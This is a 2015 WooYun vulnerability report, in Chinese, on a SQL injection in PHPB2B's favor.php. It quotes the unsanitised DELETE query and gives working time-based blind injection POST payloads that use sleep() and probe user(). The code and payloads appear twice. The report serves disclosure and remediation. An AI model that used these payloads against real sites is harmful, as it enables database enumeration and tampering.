当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090300

漏洞标题:PHPB2B某处sql注入#6

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:45

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHPB2B某处sql注入#6

详细说明:

官网下载的最新版
virtual-office/favor.php
1-24行

<?php
/**
* [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved.
* The contents of this file are subject to the License; you may not use this file except in compliance with the License.
*
* @version $Revision: 2075 $
*/
require("../libraries/common.inc.php");
require("room.share.php");
uses("trade");
$trade = new Trade();
$trade_model = new Trades();
if (isset($_POST['del'])) {
pb_submit_check('id');
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
$sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;
// var_dump($sql);
// exit();
$res = $pdb->Execute($sql);
if (!$res) {
flash("action_failed");
}
}


$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
传入数组的话,就用逗号分隔,又没有单引号保护,直接可以注入。无视gpc。
此处是delete型,可以用延时注入。
演示如下:
注入前添加一个收藏,确保表中存在记录。
先不带任何参数访问。
localhost/phpb2b/virtual-office/favor.php
右键查看源代码。
搜索formhash

1.png


这个是为了防止csrf用的,一会我们注入时要一并提交。
然后post提交数据
del=1&id[]=1)||if(1=1,sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
查user()长度
del=1&id[]=1)||if((length(user())>0),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
延时成功
del=1&id[]=1)||if((length(user())>20),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
不延时
原理讲明白了。我就不继续演示咯。

漏洞证明:

官网下载的最新版
virtual-office/favor.php
1-24行

<?php
/**
* [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved.
* The contents of this file are subject to the License; you may not use this file except in compliance with the License.
*
* @version $Revision: 2075 $
*/
require("../libraries/common.inc.php");
require("room.share.php");
uses("trade");
$trade = new Trade();
$trade_model = new Trades();
if (isset($_POST['del'])) {
pb_submit_check('id');
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
$sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;
// var_dump($sql);
// exit();
$res = $pdb->Execute($sql);
if (!$res) {
flash("action_failed");
}
}


$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
传入数组的话,就用逗号分隔,又没有单引号保护,直接可以注入。无视gpc。
此处是delete型,可以用延时注入。
演示如下:
注入前添加一个收藏,确保表中存在记录。
先不带任何参数访问。
localhost/phpb2b/virtual-office/favor.php
右键查看源代码。
搜索formhash

1.png


这个是为了防止csrf用的,一会我们注入时要一并提交。
然后post提交数据
del=1&id[]=1)||if(1=1,sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
查user()长度
del=1&id[]=1)||if((length(user())>0),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
延时成功
del=1&id[]=1)||if((length(user())>20),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
不延时
原理讲明白了。我就不继续演示咯。

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-07 23:45

厂商回复:

重复

最新状态:

暂无